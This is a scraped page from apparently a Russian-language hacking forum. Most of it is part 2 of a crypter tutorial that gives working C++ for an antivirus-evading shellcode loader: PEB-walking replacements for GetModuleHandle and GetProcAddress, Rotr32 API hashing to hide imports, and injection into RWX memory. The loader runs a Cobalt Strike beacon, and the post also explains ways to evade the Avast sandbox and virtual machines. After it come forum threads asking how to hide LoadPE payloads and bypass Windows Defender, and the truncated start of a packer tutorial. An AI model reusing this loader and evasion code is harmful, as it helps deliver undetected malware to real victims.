Or Exist_Success to end the process and in this way, Virus Total can’t get the real behavior of our crypt

4 # Bypass Avast and AVG Sandbox ( this is a very important and private method )

Avast is one of the Antivirus vendors that build their custom sandbox to prevent any suspicious software from running on the main System before testing the behavior of the suspicious software on their custom sandbox
3.png

As you can see in the image above when I click on my program for the first time, Avast pauses my program and runs it on its sandbox, This sandbox is not like any other sandbox as I said before Avast developed its own sandbox And Using the Public methods to bypass this type of sandbox is not a Goal in the net.

Because of that months ago I was digging in and testing my codes to bypass the Avast sandbox I discovered that Avast sandbox cannot connect or use the wmic namespace so if we exploit this bug we can detect the Avast sandbox.
In real life, If we tried to use the COM library and use the function CoCreateInstance then try to connect to the root namespace ROOT\\CIMV2
using the function IWbemLocator::ConnectServer in a normal situation even if we ran the software on VirtualBox or VMware or Windows server the return value should be S_OK but because of this bug in Avast sandbox it will fail to connect That’s where we detect the Avast sandbox and Escape from it

Cool you may not understand but when we came to the coding section you should understand more

5 # Anti Sandbox and virtual machines ( Detecting VMware and virtual box )

Bypassing VMware and VirtualBox is an important future in any malware because all malware analysis when making checks for some programs always will use a VirtualBox or VMware and not add any
This is a good technique to stop blue teams or malware analysis teams and sandbox also

6 # Creating Custom GetModuleHandle and GetProcAddress

Creating our custom GetModuleHandle and GetProcAddress is a very important thing in malware development cause as I said before in the detection mechanisms import address table section the Antivirus can check for the imported function and if there are any couple of suspicious functions,

More suspicious functions have a red flag rate, and because of this need to hide our IAT

Let's get this example to show you how this work

Fire up your visual studio and create a new empty c++
Create a new c++ file

Go to project properties -> linker -> advanced
Then I added an entry point, I added one and named it xss

Go to project properties -> C/C++ -> Security checks
disable security checks

Go to project properties -> linker -> System
Then change the subsystem to Windows

Now go to
Finally, add this code to the project and compile it

C:Copy to clipboard

int xss()
{
   
 
   
    return 0;
}

Open the developer command prompt and go to the project path
Type this: dumpbin.exe /IMPORTS test.exe
4.png

As you can see there is no Import address table available because we did not use any function yet,

Now add this function to the project and recompile the project

C:Copy to clipboard

  GetModuleHandleA(NULL);

Again same command: dumpbin.exe /IMPORTS test.exe
5.png

Here as you can see when we added the GetModuleHandle function and recompiled the project the GetModuleHandle shows in the Import address table

I think you get the idea.

Before we write the code for the GetModuleHandle you should Know How does the GetModuleHandle Work?

The function GetModuleHandle is responsible for retrieving a handle for a Dll that is specified by you.

When you call the function and the dll name and find it returns handle to the Dll and return NULL if the function name is wrong or not found

How to get the dll handle?
The handle is the base address of our dll and to retrieve it first we need to retrieve the
PEB then gets a pointer to the LDR member from PEB and finally gets the first element of the linked list

PEB is a structure and has members but what we are looking for is the PEB_LDR_DATA Ldr
Source: <https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns- winternl-peb> ,
<https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl- peb_ldr_data>

PEB_LDR_DATA is the member that stores all loaded modules in the process
PEB_LDR_DATA is also a structure that contains other members
The important struct for Us is the LIST_ENTRY InMemoryOrderModuleList struct

So to retrieve the loaded Dll will need to create a while loop to enumerate all Loaded dlls names
Once we find it using a comparing method for example using strcmp we return the Address of the function we are looking For.

You can see the Microsoft documentation from like above if you wanna read more about it.

So now we need to loop on InMemoryOrderModuleList and create the strcmp to find Our function

Good now we finished talking about GetModulehandle Don’t Worry I will explain the code as soon as we are in the coding section

How Does GetProcAddress Work !?

GetProcAddress retrieves the address of the exported function from the module we load it and retrieve the handle, If the function is found it returns the base address of the function we want to import, and if not found it will return NULL If a function is not found

To know exactly how GetProcAddress works you need to know how that GetProcAddress finds the address of the functions

GetProcAddress uses the hModule that we specify and as you already know the hModule is the base Address of the dll, then we loop through the exported functions inside the target dll after that we can do a normal if condition to check if we found the string or the name of the target function and when we found the target function we return its base address other than that we return NULL.

We access the exported functions we first need to get a pointer to the export table and then loop on the function names until we find our function

But this is not all of it because when we finish this function will add more improvements to it like Hashing and that what we call it API Hashing will discuss this in the future but now

7 # API Hashing

What is api hashing and why use it if we already created our custom Custom Functions to load and retrieve winapi functions address?

Api hashing is a technique that replaces the strings with hashes to hide the string and function names and make it harder for malware analysis and blue teams to detect the Suspicious Functions Also this will leave no trace for the function names for example as in the example above we used CustomGetProcAddress(), CustomGetModuleHandle() and passed the module we want to load and the function we wanna get theirs address to use it in our code

There are a lot of api hashing algorithms but one of the best of them is Rotr32

The most used Hashing algorithm used is the Rotr32

In real life how does hashing look like for example, we need to replace the NTAPI function NtwriteVirtualMemory or hash it using Rotr32 the result is 0xa2f3a5e9 so 0xa2f3a5e9 is the replacement of the NtwriteVirtualMemory
Merging it with the Custom Functions we created we are now able to Load the Modules and functions stealthily

7 # RC4 encryption

Why use RC4 encryption there are too many encryption algorithms such as AES.
We use the RC4 encryption for a specific reason

The RC4 encryption algorithm has a future that can encrypt and decrypt payload in 1 function without needing to use 2 functions, AES uses 2 functions one for Encrypt and 1 for Decrypt

In Our situation, we are encrypting cobalt strike, and the steps to invoke it are as follows

In this example if we were using an encryption algorithm like AES
1 - Get process id
2 - Open the process and get a handle on the target process
3 - Decrypt shellcode
4 - Allocate memory
5 - Write shellcode
6 - invoke shellcode

I used the Lucid Char app to draw the process below) to make more easier for you to understand it.
6.png

As you can see in the example above we wrote the shellcode after the decryption this makes us Vulnerable and the Antivirus can catch our payload while writing it to the process

So to fix this problem we used RC4 and the steps when using RC4 encryption algorithms like follows

1 - Get process id
2 - Open the process and get a handle on the target process
4 - Allocate memory
5 - Write Encrypted shellcode
3 - Decrypt shellcode in the allocated memory
6 - invoke shellcode
7.png
In this example above we avoid being detected while writing the shellcode, So gives us the advantages

# Coding Section

Here we go again, Fire up your Visual Studio, You can use the old project we created before or you can just create a new empty c++ project For only now create a single cpp file you can name it main.cpp

Will first start with The Custom GetModuleHandle And Custom GetProcaddress

Add this code below

C:Copy to clipboard

BOOL XssCompareString(LPCWSTR OriginalString,INT OriginalStringLength, const char* moduleName)
{

    // cast from LPCWSTR to char
    int OriginaLen = WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, NULL, 0, NULL, NULL);
    char * cString = new char[OriginaLen + 1];
    WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, cString, OriginaLen, NULL, NULL);
   
    cString[OriginaLen] = '\0';

    // lower the uppercase charchtar
    char *LowercString;
    LowercString = new char[OriginaLen + 1];

    for (int i = 0; i < OriginaLen; i++)
    {
        LowercString[i] = (WCHAR)tolower(cString[i]);
    }

    //printf("LowercString   : %s \n", LowercString);

    // lower the uppercase charchtar
    int moduleNameLen = strlen(moduleName);
    char * LowermoduleName;
    LowermoduleName = new char[moduleNameLen + 1];
    for (int i = 0; i < moduleNameLen; i++)
    {
        LowermoduleName[i] = (WCHAR)tolower(moduleName[i]);
    }

    //printf("LowermoduleName   : %s \n", LowermoduleName);

    if (strcmp(LowercString, LowermoduleName) == 0)
    {
        printf("[+] Dll Found %s \n", LowercString);
        return TRUE;
    }
    printf("[+] Dll Not Found %s \n", LowercString);
    return FALSE;
}


HMODULE XssTutorialGetModuleHandle(const char* moduleName)
{

    PPEB  pBEB = (PEB*)(__readgsqword(0x60));

    PPEB_LDR_DATA pPebLDR = (PPEB_LDR_DATA)(pBEB->Ldr);

    PLDR_DATA_TABLE_ENTRY pLdrTEntry = (PLDR_DATA_TABLE_ENTRY)(pPebLDR->InMemoryOrderModuleList.Flink);

    while (pLdrTEntry)
    {

        if (pLdrTEntry->FullDllName.Length == NULL)
            break;
        else
        {

            if(XssCompareString(pLdrTEntry->FullDllName.Buffer, pLdrTEntry->FullDllName.Length, moduleName))
            {
               
                return (HMODULE)pLdrTEntry->Reserved2[0];
            }
           

        }

        pLdrTEntry = *(PLDR_DATA_TABLE_ENTRY*)(pLdrTEntry);
    }
   
    return NULL;
}

I guess you already know what this code does, The code you saw above is the replacement of the GetModuleHandle Please back to the explanation section to understand more don’t skip it
I named the replacement function XssTutorialGetModuleHandle

Steps :
First, we got the PEB using __readgsqword and the offset that points to PPEB is 0x60

Then we got the LDR_Data and saved it in Variable pPebLDR then got the table entry of the LDR data and started looping on it.

As you can see inside the Loop there is an if statement to compare the two strings
If we're equals and the functions that are used to make the checks is CompareString
The reason to create our own function is that some modules or dlls names are Uppercases strings and some are not so we can’t use strcmp directly Also the CompareString converts the LPWSTR to char and then converts the char to lower string and uses the strcmp to compare the two strings and if they are equal it returns TRUE, if functions finish all loop without find matches it returns false mean their error with the module name

XssTutorialGetModuleHandle uses the if statement to check the returned value by the function CompareString and if returned true it returns a handle to the Loaded DLL and then our custom GetProcAddress can use the handle to obtain the target function

Now add the code

C:Copy to clipboard

FARPROC XssTutorialGetGetProcAddress(HMODULE hModule, LPCSTR lpApiName)
{

    // we do this to avoid casting at each time we use hmodule

    PBYTE pImg = (PBYTE)hModule;

    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)pImg;
    PIMAGE_NT_HEADERS64 Nt_haders = (PIMAGE_NT_HEADERS64)(pImg + dos_header->e_lfanew);
    PIMAGE_OPTIONAL_HEADER Img_OptionalHeader = (PIMAGE_OPTIONAL_HEADER)&Nt_haders->OptionalHeader;
    PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImg + Img_OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // getting the functions name array pointer

    PDWORD fNameArry = (PDWORD)(pImg + ImageExportDirectory->AddressOfNames);
    // Gettings the functions address array pointer
    PDWORD fAddrArray = (PDWORD)(pImg + ImageExportDirectory->AddressOfFunctions);
    // Gettings the functions ordinal array pointer
    PWORD fOrdinalArray = (PWORD)(pImg + ImageExportDirectory->AddressOfNameOrdinals);

    for (DWORD i = 0; i < ImageExportDirectory->NumberOfFunctions; i++)
    {
        // Getting the name of the function
        char* pFunctionName = (char*)(pImg + fNameArry[i]);

        // Getting the address of the function through its ordinal
        PVOID pFunctionAddress = (PVOID)(pImg + fAddrArray[fOrdinalArray[i]] );

        // Searching for the function specified
        if (strcmp(lpApiName, pFunctionName) == 0)
        {
            //printf("[-] found  Function name  : %s Function Address 0x%p\n", pFunctionName, pFunctionAddress);
            return (FARPROC)(pFunctionAddress);
        }
        else
        {
            //printf("[-] not found  Function name  : %s Function Address 0x%p \n", pFunctionName );
        }
    }

    return NULL;

}

This code is the replacement of the GetProcAddress and I name my custom function as XssTutorialGetGetProcAddress

The first thing we did in the code above, we cast the base Address of the Loaded Dll by the function XssTutorialGetModuleHandle to PBYTE
I hope you have experience with manipulating PE structure cause this will help you anyway, so next we get the dos header, nt headers, optional header, and export directory.

We used the export directory table to get the AddressOfName, AddressOfFunctions, AddressOfnameOrdinals
Finally, we create a loop and the limit is the number of functions here we create a Comparison between the two strings and if the function name is found we return the function address.

You can test the two codes below and compare them with the originals by adding this code

C:Copy to clipboard

    HMODULE  ntdll = GetModuleHandleA("ntdll");
    HMODULE  replacement_ntdll = XssTutorialGetModuleHandle("ntdll.dll");


    printf("[-] Original   ntdll address 0x%x\n", ntdll);
    printf("[-] Replacment ntdll address 0x%x\n", replacement_ntdll);

    FARPROC ofpNtWriteVirtualMemory = GetProcAddress(replacement_ntdll, "NtWriteVirtualMemory");


    FARPROC fpNtWriteVirtualMemory = XssTutorialGetGetProcAddress(ntdll, "NtWriteVirtualMemory");

    printf("[-] Original NtWriteVirtualMemory address 0x%x\n", ofpNtWriteVirtualMemory);
    printf("[-] NtWriteVirtualMemory address 0x%x\n", fpNtWriteVirtualMemory);

Now create another c++ empty project and name it Hasher This project will be used to hash the string function names
Add this code and this code is for the Rotr32 hashing

C:Copy to clipboard

UINT32 HashStub(UINT32 Value, UINT Count)
{
    DWORD Mask = (CHAR_BIT * sizeof(Value) - 1);
    Count &= Mask;
#pragma warning( push )
#pragma warning( disable : 4146)
    return (Value >> Count) | (Value << ((-Count) & Mask));
#pragma warning( pop )
}

DWORD64 Rotr32A(const char* String)
{
    DWORD64 Value = 0;

    for (INT Index = 0; Index < strlen(String); Index++)
        Value = String[Index] + HashStub(Value, SEED);

    return Value;
}

In the main function add this code

C:Copy to clipboard

    char  StrName[MAX_PATH];

    strcpy_s(StrName, "NtQuerySystemInformation");

    printf("Function name : %s ", StrName);

    DWORD64 Result = Rotr32A(StrName);

    printf("Hash of ntdll.dll 0x%x ", Result);

In the code example above we are hashing the function NtQuerySystemInformation Now will make it more dynamic and hash the full function names and save it as .h or header file

To do that replace the old code with this one

C:Copy to clipboard

bool replace(std::string& str, const std::string& from, const std::string& to) {
    size_t start_pos = str.find(from);
    if (start_pos == std::string::npos)
        return false;
    str.replace(start_pos, from.length(), to);
    return true;
}

int main()
{
    std::string config = R"(#define Hashed_1  0xNtAllocateVirtualMemory //NtAllocateVirtualMemory
#define Hashed_2  0xNtWriteVirtualMemory   //NtWriteVirtualMemory
#define Hashed_3  0xntdll   //Ntdll

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

//Hashed_1
typedef NTSTATUS(NTAPI* fpHashed_1)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG  AllocationType, ULONG  Protect);
//Hashed_2
typedef NTSTATUS(NTAPI* fpHashed_2)(HANDLE ProcessHandle, PVOID  BaseAddress, PVOID  Buffer,ULONG  NumberOfBytesToWrite,PULONG NumberOfBytesWritten );


typedef void(WINAPI* vanilia)();

)";

    char  Hashed_1[MAX_PATH];
    DWORD Result = NULL;
    Result = Rotr32A("NtAllocateVirtualMemory");

    sprintf(Hashed_1, "0x%x ", Result);

    replace(config, "0xNtAllocateVirtualMemory", Hashed_1);

    char  Hashed_2[MAX_PATH];
    Result = Rotr32A("NtWriteVirtualMemory");

    sprintf(Hashed_2, "0x%x ", Result);

    replace(config, "0xNtWriteVirtualMemory", Hashed_2);

    char  Hashed_3[MAX_PATH];
    Result = Rotr32A("ntdll.dll");

    sprintf(Hashed_3, "0x%x ", Result);

    replace(config, "0xntdll", Hashed_3);

   
    HANDLE hConfig = CreateFileA("Config.h", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if(WriteFile(hConfig, config.c_str(), strlen(config.c_str()), 0, 0))
    {
        std::cout << "[*] Config Written success: "<< std::endl;
    }
    CloseHandle(hConfig);
}

Here we create a Raw String The Raw string will contain the function names to replace it when applying the hashing as you can see in the example code above

There are two functions that will be used and they are critical If detected in the IAT the exe will be suspicious so are these two functions

Functions
1 - NtAllocateVirtualMemory
2 - NtWriteVirtualMemory
Modules
1 - Ntdll.dll

That’s it, The Hasher is now ready When you run the hasher.exe you should see a new file Config.h and this is the file that contains the hashed strings and typedefs for the functions, and modules we need to use
Now get back to the Decrypt project.
In the Decrypt project Include the Config.h header file that we created using the hasher.exe
Now will make the changes to the two functions that we already created XssTutorialGetModuleHandle, XssTutorialGetGetProcAddress
In the examples above we retrieve the base address of the module and the address of the function by first comparing the two strings the one we add and need to load and the one that is retrieved from the IAT, but now we will replace the string with hashes.
Add the two codes below to your project

C:Copy to clipboard

BOOL XssCompareHashes(LPCWSTR OriginalString, INT OriginalStringLength, DWORD ModuleHash)
{
    // cast from LPCWSTR to char
    int OriginaLen = WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, NULL, 0, NULL, NULL);
    char* cString = new char[OriginaLen + 1];
    WideCharToMultiByte(CP_ACP, 0, OriginalString, OriginalStringLength, cString, OriginaLen, NULL, NULL);

    cString[OriginaLen] = '\0';

    // lower the uppercase charchtar
    char* LowercString;
    LowercString = new char[OriginaLen + 1];

    for (int i = 0; i < OriginaLen; i++)
    {
        LowercString[i] = (WCHAR)tolower(cString[i]);
    }
    LowercString[OriginaLen] = '\0';

    printf("LowercString   : %s \n", LowercString);

    DWORD Result = Rotr32A(LowercString);
    if(Result == ModuleHash)
    {
        return TRUE;
    }

    return FALSE;

}
HMODULE XssTutorialGetModuleHandle(DWORD moduleName)
{

    PPEB  pBEB = (PEB*)(__readgsqword(0x60));

    PPEB_LDR_DATA pPebLDR = (PPEB_LDR_DATA)(pBEB->Ldr);

    PLDR_DATA_TABLE_ENTRY pLdrTEntry = (PLDR_DATA_TABLE_ENTRY)(pPebLDR->InMemoryOrderModuleList.Flink);

    while (pLdrTEntry)
    {

        if (pLdrTEntry->FullDllName.Length == NULL)
            break;
        else
        {
       
             if (XssCompareHashes(pLdrTEntry->FullDllName.Buffer, pLdrTEntry->FullDllName.Length, moduleName))
            {
   
                return (HMODULE)pLdrTEntry->Reserved2[0];
            }


        }

        pLdrTEntry = *(PLDR_DATA_TABLE_ENTRY*)(pLdrTEntry);
    }

    return NULL;
}

C:Copy to clipboard

FARPROC XssTutorialGetGetProcAddress(HMODULE hModule, DWORD HashedfuncName)
{

    // we do this to avoid casting at each time we use hmodule

    PBYTE pImg = (PBYTE)hModule;

    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)pImg;
    PIMAGE_NT_HEADERS64 Nt_haders = (PIMAGE_NT_HEADERS64)(pImg + dos_header->e_lfanew);
    PIMAGE_OPTIONAL_HEADER Img_OptionalHeader = (PIMAGE_OPTIONAL_HEADER)&Nt_haders->OptionalHeader;
    PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImg + Img_OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // getting the functions name array pointer

    PDWORD fNameArry = (PDWORD)(pImg + ImageExportDirectory->AddressOfNames);
    // Gettings the functions address array pointer
    PDWORD fAddrArray = (PDWORD)(pImg + ImageExportDirectory->AddressOfFunctions);
    // Gettings the functions ordinal array pointer
    PWORD fOrdinalArray = (PWORD)(pImg + ImageExportDirectory->AddressOfNameOrdinals);

    for (DWORD i = 0; i < ImageExportDirectory->NumberOfFunctions; i++)
    {
        // Getting the name of the function
        char* pFunctionName = (char*)(pImg + fNameArry[i]);

        // Getting the address of the function through its ordinal
        PVOID pFunctionAddress = (PVOID)(pImg + fAddrArray[fOrdinalArray[i]]);

        // Searching for the function specified


        DWORD Result = Rotr32A(pFunctionName);

        if (HashedfuncName == Result)
        {
            printf("[-] found  Function name  : %s Function Address 0x%p\n", pFunctionName, pFunctionAddress);
            return (FARPROC)(pFunctionAddress);
        }
        else
        {
            //printf("[-] not found  Function name  : %s Function Address 0x%p \n", pFunctionName );
        }
    }

    return NULL;

}

As you can see in the Example above we remove any strings that belong to those functions
An small attention here you can also rename the function's names as you want.

In the main function add the above code

C:Copy to clipboard

printf("[-] Starting ... ");
    HMODULE  replacement_ntdll = XssTutorialGetModuleHandle(Hashed_3);

    fpHashed_1 fpNtAllocateVirtualMemory = (fpHashed_1)XssTutorialGetGetProcAddress(replacement_ntdll, Hashed_1);
    fpHashed_2 fpNtWriteVirtualMemory = (fpHashed_2)XssTutorialGetGetProcAddress(replacement_ntdll, Hashed_2);

    PVOID BaseAddres = NULL;
    DWORD EncImageLen = sizeof(image);
    DWORD OldProtect = NULL;

   
    if (!NT_SUCCESS(fpNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddres, 0, &EncImageLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)))
    {
        printf("[-] Faild to allocate memory\n");
        return -1;
    }


    if(!NT_SUCCESS(fpNtWriteVirtualMemory(GetCurrentProcess(), BaseAddres, image, EncImageLen, 0)))
    {
        printf("[-] Faild to Write to memory\n");
        return -1;
    }


    vanilia done = (vanilia)BaseAddres;

    done();

The code above executes the functions that we created after that he invokes the shellcode.

For sure you are asking where is the Encryption. we first need to test the connection before continuing.

Now Go to Cobalt strike Gui and create a raw stageless shellcode x64 then get back to the project and use HXD to convert the raw shellcode to Pure c Shellcode type and add the shellcode to a file name it encImage.h or header

Then compile your code and make sure your Antivirus Is OFF until now.

We will Turn the Antivirus On as soon as we finish the testing

Now after You compiled the Stub fire it up and you should see the connection in your CobaltStrike as shown in the image below.

8.png

Good some changes we will add soon Also will make the encryption and connect the GUI with the server crypter

But for now, The Tutorial is very large and make sure you read everything and understand it.

I will make one more PART to be 3 Parts, so this is PART 2 of PART 3

In this tutorial, we created our custom functions and invoked the Cobalt strike shell in PART 3 we will add the All futures and connect the GUI with the server side Crypter

Каким образом скрывать payload для LoadPE?
ID: 6765d804b4103b69df375763
Thread ID: 82358
Created: 2023-02-20T13:17:02+0000
Last Post: 2023-12-15T17:58:15+0000
Author: secflag
Replies: 25 Views: 3K

Есть LoadPE и ехешник , который подгружается в памяти. С энтропией проблем нет, метод шифрования RC4. При размещении payload'a в секции .data ( unsigned char rawData[1] = {...} ) размер секции слишком большой, что некоторые АВ орут на это. Видел метод, который составлял дерево байтов, нужен был только seed, но эту реализацию немного не понял.

Также была идея разделить выходной payload на несколько частей, прописывать их в секциях билда и распаковывать поочередно. Но вес тоже довольно большой будет.

Учит ли кто-то сейчас C?
ID: 6765d804b4103b69df3757f1
Thread ID: 84224
Created: 2023-03-21T12:19:34+0000
Last Post: 2023-04-29T18:35:52+0000
Author: SKAZKAA
Replies: 62 Views: 3K

Учит ли кто-то сейчас чистый си?
Начал учить, хотел посмотреть какие-то курсы, но ничего не нашел в интернете стоящего, стоит ли вообще учить си?
Так же смотрю в сторону плюсов и руби, интересует именно разработка нативных программ

[Артём Воров] Java с полного нуля + ДЗ + тесты. Part 1. Java core (2020)
ID: 6765d804b4103b69df3757fe
Thread ID: 47387
Created: 2021-01-29T20:42:26+0000
Last Post: 2023-04-08T13:28:16+0000
Author: balabashka
Prefix: Мануал/Книга
Replies: 6 Views: 3K

Название: Java с полного нуля + ДЗ + тесты. Part 1. Java core (2020)

Автор: Артём Воров

Описание:

Вся необходимая информация по Java Core в одном курсе + ДЗ! После прохождения курса бесплатное тестовое собеседование

Чему вы научитесь
Основы Java (типы данных, условные операторы, циклы, массивы, ввод данных)
Исключения (Exceptions)
Перечисления (Enum)
Коллекции (Collections)
Объектно-ориентированное программирование (ООП)
Дженерики (Generics)
Система контроля версий (Git, GitHub)
И многое другое

6 разделов • 27 лекций • Общая продолжительность 6 ч 46

Требования
Наличие ноутбука или стационарного компьютера

Описание
Введение в разработку и базовые возможности на языке Java, его синтаксис и изучение основных технологий, таких как: Java syntax, Exceptions, Interfaces, Input\Output, Collections, OOP. По окончанию данного этапа вы сможете создавать простые программы, получите важные знания о построении алгоритмов и их реализации на языке Java. После прохождения курса есть возможность пройти бесплатное тестовое собеседование по скайпу.

Курс будет регулярно обновляться, добавиться ещё минимум 10 лекций по темам Exceptions, OOP, Input\Output.

Для кого этот курс:
Курс будет интересен тем, кто давно хотел попробовать себя в программировании.
Продажник
Скачать

Обход Windows Defender/SmartScreen - как сделать?
ID: 6765d804b4103b69df37586a
Thread ID: 74125
Created: 2022-10-09T13:23:32+0000
Last Post: 2022-11-12T14:16:43+0000
Author: Volk_v_Shkure
Replies: 28 Views: 3K

Доброго времени суток! Пишу криптер. Подскажите как можно обойти windows defender, а именно тот момент когда ты загружаешь exe файл на компьютер и WinDef его сканирует. Может есть ссылка на статью с описанием того как это можно реализовать.

Буду благодарен за любую информацию.

Эффективный C. Профессиональное программирование. Роберт С. Сикорд [2022]
ID: 6765d804b4103b69df3758d6
Thread ID: 43700
Created: 2020-10-29T17:06:00+0000
Last Post: 2022-04-05T13:26:44+0000
Author: Eject
Prefix: Мануал/Книга
Replies: 15 Views: 3K

![](/proxy.php?image=https%3A%2F%2Fm.media- amazon.com%2Fimages%2FI%2F81zqS1NuRjL.jpg&hash=44bbc9d7c9774060920bc6f4c943cedf)​

Описание:

The world runs on code written in the C programming language, yet most schools begin the curriculum with Python or Java. Effective C bridges this gap and brings C into the modern era--covering the modern C17 Standard as well as potential C2x features. With the aid of this instant classic, you'll soon be writing professional, portable, and secure C programs to power robust systems and solve real-world problems.​

Robert C. Seacord introduces C and the C Standard Library while addressing best practices, common errors, and open debates in the C community. Developed together with other C Standards committee experts, Effective C will teach you how to debug, test, and analyze C programs. You'll benefit from Seacord's concise explanations of C language constructs and behaviors, and from his 40 years of coding experience.​

You'll learn:​

How to identify and handle undefined behavior in a C program​

The range and representations of integers and floating-point values​

How dynamic memory allocation works and how to use nonstandard functions​

How to use character encodings and types​

How to perform I/O with terminals and filesystems using C Standard streams and POSIX file descriptors​

How to understand the C compiler's translation phases and the role of the preprocessor​

How to test, debug, and analyze C programs​

Effective C will teach you how to write professional, secure, and portable C code that will stand the test of time and help strengthen the foundation of the computing world.​

Формат : PDF
Год : 2020
ISBN : 978-1-7185-0104-1

Скачать

Создание упаковщика/протектора с нуля с помощью C++
ID: 6765d804b4103b69df37590e
Thread ID: 59996
Created: 2021-12-12T20:24:59+0000
Last Post: 2022-02-02T09:28:55+0000
Author: Artem N
Prefix: Статья
Replies: 5 Views: 3K

В этой статье я покажу вам как создать свой собственный упаковщик/протектор с нуля, используя только Visual Studio и C/C++ без необходимости использования ассемблера. Мы начнём с основ и рассмотрим более продвинутые моменты ближе к концу статьи. Это идеальный вариант для тех, кто хочет глубже понять Computer Science. Если вы готовы, то возьмите чашку чая и понеслась!

Вступление

Помните время, когда люди "развлекались", используя PE Detectors, такие как Pied, exeinfo, die, RDG и прочие, чтобы определить, какой упаковщик/протектор использовал разработчик?

В своё время упаковщики/протекторы были очень популярны и люди использовали их для уменьшения размера своих файлов и добавления защиты в свой код.

С развитием технологий и инструментов обратного проектирования протекторы стали слабыми и беззащитными, но война между добром и злом продолжалась...

Тем не менее упаковщики всё ещё могут быть полезны как в плане безопасности, так и в плане уменьшения размера файла, но это - очень трудная и сложная задача.

Она требует весьма глубоких знаний в области низкоуровневого программирования, поэтому лишь немногие люди могут её реализовать.

Эта статья покажет вам как создать свой собственный упаковщик, используя только VC++. И хорошая новость заключается в том, что знание Ассемблера не требуется!

Справка

Вы можете спросить: зачем мне нужен собственный упаковщик, если их сотни. Чтобы получить ответ на этот вопрос, вам нужно знать как они работают.

Упаковщик/протектор берёт исходный PE-файл, анализирует его и извлекает всю информацию. Затем он модифицирует файл, пересоздаёт его, используя свою собственную архитектуру. Он может упаковать/зашифровать все секции в одну новую и добавить свой код распаковщика/дешифратора в точку входа и когда файл запускается, он динамически распаковывает данные в память. Затем восстанавливает оригинальную точку входа и переходит на неё.

Код упаковщика не меняется и через некоторое время он становится лёгкой мишенью для интересующихся. Когда все имеют к этому коду доступ, то начинают упаковывать различные файлы и искать в них сигнатуры. Эта сигнатура становится меткой, которая может быть использована для создания распаковщика.

Например, если у вас есть файл, упакованный с помощью ASPack, вы можете легко распаковать его с помощью скрипта OllyDbg или скачать распаковщик типа ASPackDie - одним щелчком мыши!

Итак, цели создания нестандартных упаковщиков :
- Только у вас есть упаковщик и исключительно для вашей программы - это усложняет анализ, потому что он уникален;
- Только у вас есть упаковщик, а злоумышленник не может загрузить его с сайта для анализа функциональности;
- Вы задаёте способ восстановления и запуска программы, алгоритмы сжатия/шифрования и т.д.
- Вы можете использовать дополнительные методы защиты от реверс-инжиниринга и всё что захотите!
- Вы можете быстро изменять сигнатуры и структуры, когда текущая версия программы подвергается атаке;
- Вы можете скрыть ценную информацию, которую злоумышленник может использовать для своего анализа.

Мы не будем создавать упаковщик в общепринятом понимании. Вместо манипуляций с существующим PE-файлом будем создавать новый (как это делает линкер) на основе исходного файла.

Эта статья является второй частью статьи о создании шелл-кода.

Click to expand...

Подготовка среды разработки

1. Инструменты и ПО
- Visual Studio 2019
- VC++ Build Tools (C++ 17+ Support)
- CFF Explorer (PE Viewer/Editor)
- HxD (Hex Editor)

2. Создание проектов
1. Открываем Visual Studio 2019
2. Создаём два пустых проекта C++
3. Имя первого pe_packer, имя второго unpacker_stub
4. Установите для pe_packer Тип конфигурации "Приложение (.exe) "
5. То же самое для unpacker_stub
6. Установите unpacker_stub независимым от CRT (C Runtime). Если вы не знаете как, то это рассказано в первой части статьи, Также здесь unpacker_stub является исполняемым файлом, поэтому нужно убрать опцию /NOENTRY.
7. Для обоих проектов - Конфигурацию x64 и Release.
8. Добавим в проекты два файла, один для упаковщика и один для распаковщика со следующим кодом:

C++:Copy to clipboard

// packer.cpp (pe_packer project)
#include <Windows.h>
#include <iostream>
#include <fstream>

using namespace std;

int main(int argc, char* argv[])
{
    if (argc != 3) return EXIT_FAILURE;

    char* input_pe_file     = argv[1];
    char* output_pe_file    = argv[2];

    return EXIT_SUCCESS;
}

C++:Copy to clipboard

// unpacker.cpp (unpacker_stub project)
#include <Windows.h>

// Entrypoint
void func_unpack()
{
}

Итак, всё готово и можно приступать к разработке!

Для более быстрого тестирования упаковщика вы можете создать файл pe_packer_tester.bat со следующим содержимым:
"%cd%\pe_packer.exe" "%cd%\input_pe.exe"

Click to expand...

01_pe_packer_tutorial_starter_kit_vs16_x64.zip

Упаковщик: Парсинг + Проверка исходного PE-файла

Ок, на данный момент у нас есть input_pe_file и output_pe_file, переданные пользователем нашему упаковщику. Первый шаг - проверить входной файл и убедиться, что это корректный PE-файл и что он соответствует формату.

Для проверки нам нужно его распарсить:

C++:Copy to clipboard

// Reading Input PE File
ifstream input_pe_file_reader(argv[1], ios::binary);
vector<uint8_t> input_pe_file_buffer(istreambuf_iterator<char>(input_pe_file_reader), {});

// Parsing Input PE File
PIMAGE_DOS_HEADER in_pe_dos_header = (PIMAGE_DOS_HEADER)input_pe_file_buffer.data();
PIMAGE_NT_HEADERS in_pe_nt_header  = (PIMAGE_NT_HEADERS)(input_pe_file_buffer.data() + in_pe_dos_header->e_lfanew);

Затем проверяем следующие два поля:

C++:Copy to clipboard

bool isPE  = in_pe_dos_header->e_magic == IMAGE_DOS_SIGNATURE;
bool is64  = in_pe_nt_header->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 &&
